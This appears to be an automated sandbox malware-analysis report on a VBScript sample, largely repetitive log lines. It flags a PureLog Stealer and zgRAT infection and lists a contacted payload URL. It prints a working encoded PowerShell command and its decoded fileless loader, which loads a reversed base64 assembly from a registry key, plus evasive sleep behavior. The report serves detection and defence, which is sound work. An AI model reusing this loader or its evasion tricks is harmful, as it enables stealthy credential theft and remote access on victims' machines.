Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5094 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4781 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5604 Thread sleep time: -9223372036854770s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000003.00000002.3343374740.000001A9AB3AD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Encrypted powershell cmdline option found
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded $text = ((Get-ItemProperty HKCU:\Software\NYANxCAT\).NYANxCAT); $text = -join $text[-1..-$text.Length]; [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String($text)).EntryPoint.Invoke($Null,$Null);
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded $text = ((Get-ItemProperty HKCU:\Software\NYANxCAT\).NYANxCAT); $text = -join $text[-1..-$text.Length]; [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String($text)).EntryPoint.Invoke($Null,$Null); Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABOAFkAQQBOAHgAQwBBAFQAXAApAC4ATgBZAEEATgB4AEMAQQBUACkAOwAgACQAdABlAHgAdAAgAD0AIAAtAGoAbwBpAG4AIAAkAHQAZQB4AHQAWwAtADEALgAuAC0AJAB0AGUAeAB0AC4ATABlAG4AZwB0AGgAXQA7ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB0AGUAeAB0ACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQATgB1AGwAbAAsACQATgB1AGwAbAApADsA Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc iaakahqazqb4ahqaiaa9acaakaaoaecazqb0ac0asqb0aguabqbqahiabwbwaguacgb0ahkaiabiaesaqwbvadoaxabtag8azgb0ahcayqbyaguaxaboafkaqqboahgaqwbbafqaxaapac4atgbzaeeatgb4aemaqqbuackaowagacqadablahgadaagad0aiaatagoabwbpag4aiaakahqazqb4ahqawwatadealgauac0ajab0aguaeab0ac4atablag4azwb0aggaxqa7acaawwbbahaacabeag8abqbhagkabgbdadoaogbdahuacgbyaguabgb0aeqabwbtageaaqbuac4atabvageazaaoafsaqwbvag4adgblahiadabdadoaogbgahiabwbtaeiayqbzaguanga0afmadabyagkabgbnacgajab0aguaeab0ackakqauaeuabgb0ahiaeqbqag8aaqbuahqalgbjag4adgbvagsazqaoacqatgb1agwabaasacqatgb1agwabaapadsa
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc iaakahqazqb4ahqaiaa9acaakaaoaecazqb0ac0asqb0aguabqbqahiabwbwaguacgb0ahkaiabiaesaqwbvadoaxabtag8azgb0ahcayqbyaguaxaboafkaqqboahgaqwbbafqaxaapac4atgbzaeeatgb4aemaqqbuackaowagacqadablahgadaagad0aiaatagoabwbpag4aiaakahqazqb4ahqawwatadealgauac0ajab0aguaeab0ac4atablag4azwb0aggaxqa7acaawwbbahaacabeag8abqbhagkabgbdadoaogbdahuacgbyaguabgb0aeqabwbtageaaqbuac4atabvageazaaoafsaqwbvag4adgblahiadabdadoaogbgahiabwbtaeiayqbzaguanga0afmadabyagkabgbnacgajab0aguaeab0ackakqauaeuabgb0ahiaeqbqag8aaqbuahqalgbjag4adgbvagsazqaoacqatgb1agwabaasacqatgb1agwabaapadsa Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected PureLog Stealer
Source: Yara match File source: 3.2.powershell.exe.1a9bb7b19b8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9c3610000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9bb7b19b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9c3610000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3382819373.000001A9C3610000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3372776875.000001A9BB668000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected zgRAT
Source: Yara match File source: 3.2.powershell.exe.1a9bb7b19b8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9c3610000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9bb7b19b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9c3610000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3382819373.000001A9C3610000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected PureLog Stealer
Source: Yara match File source: 3.2.powershell.exe.1a9bb7b19b8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9c3610000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9bb7b19b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9c3610000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3382819373.000001A9C3610000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3372776875.000001A9BB668000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected zgRAT
Source: Yara match File source: 3.2.powershell.exe.1a9bb7b19b8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9c3610000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9bb7b19b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.1a9c3610000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3382819373.000001A9C3610000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1533048 Sample: nos#U016bt#U012b#U0161anas ... Startdate: 14/10/2024 Architecture: WINDOWS Score: 100 22 transfer.adttemp.com.br 2->22 26 Multi AV Scanner detection for domain / URL 2->26 28 Malicious sample detected (through community Yara rule) 2->28 30 Antivirus / Scanner detection for submitted sample 2->30 32 8 other signatures 2->32 8 wscript.exe 1 1 2->8         started        signatures3 process4 signatures5 34 VBScript performs obfuscated calls to suspicious functions 8->34 36 Wscript starts Powershell (via cmd or directly) 8->36 38 Encrypted powershell cmdline option found 8->38 40 2 other signatures 8->40 11 powershell.exe 14 30 8->11         started        process6 dnsIp7 24 transfer.adttemp.com.br 104.196.109.209, 443, 49872 GOOGLEUS United States 11->24 14 conhost.exe 11->14         started        16 CasPol.exe 11->16         started        18 CasPol.exe 11->18         started        20 3 other processes 11->20 process8
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.196.109.209
 transfer.adttemp.com.br United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
transfer.adttemp.com.br 104.196.109.209 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://transfer.adttemp.com.br/qcExh/99gram.txt false
    		unknown